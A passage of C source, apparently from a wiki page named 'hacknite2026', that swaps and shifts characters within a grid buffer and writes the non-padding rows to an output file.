            long long obs_row = (P1 / (total_cells * M)) % M;
            long long Obs_Idx = (obs_row * row_len) + obs_col;
 
            unsigned char obs_val = (unsigned char)buffer[Obs_Idx];
 
            int dist_fused = ((P2 % 100) + obs_val) % 100;
            int dir_fused = (((P2 / 100) % 100) + obs_val) % 100;
 
            int D = 1;
            if (dist_fused < 1) D = 3;
            else if (dist_fused < 11) D = 2;
 
            long long B_row = row_A;
            long long B_col = col_A;
            if (dir_fused < 20) B_row -= D;
            else if (dir_fused < 40) B_col += D;
            else if (dir_fused < 80) B_row += D;
            else B_col -= D;
 
            if (B_row >= 0 && B_row < M && B_col >= 0 && B_col < M) {
                long long B = (B_row * row_len) + B_col;
 
                if (A != Obs_Idx && B != Obs_Idx) {
                    if (buffer[A] != '\n' && buffer[B] != '\n') {
                        char temp_A = buffer[A];
                        char temp_B = buffer[B];
 
                        int offset = (obs_val % 10) + 1;
                        int total_shift = offset * MODULO_INVARIANT * mutation_sign * (-1);
 
                        if (temp_A >= 33 && temp_A < 33 + USABLE_ASCII_RANGE) {
                            int val = temp_A - 33;
                            val = (val + total_shift) % USABLE_ASCII_RANGE;
                            if (val < 0) val += USABLE_ASCII_RANGE;
                            temp_A = (char)(val + 33);
                        }
 
                        if (temp_B >= 33 && temp_B < 33 + USABLE_ASCII_RANGE) {
                            int val = temp_B - 33;
                            val = (val + total_shift) % USABLE_ASCII_RANGE;
                            if (val < 0) val += USABLE_ASCII_RANGE;
                            temp_B = (char)(val + 33);
                        }
 
                        buffer[A] = temp_B;
                        buffer[B] = temp_A;
                    }
                }
            }
        }
    }
 
    free(P_array);
 
    FILE *out = fopen(argv[2], "wb");
    if (!out) { free(buffer); return 1; }
    for (long long r = 0; r < M; ++r) {
        int is_empty = 1;
        for (long long c = 0; c < M; ++c)
            if (buffer[r * row_len + c] != PADDING_CHAR) { is_empty = 0; break; }
        if (!is_empty) fwrite(&buffer[r * row_len], 1, row_len, out);
    }
    fclose(out);
 
    free(buffer);
    return 0;
}
hacknite2026.1794842841.txt.gz · Last modified: 2026/11/16 15:27 by mbunic

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki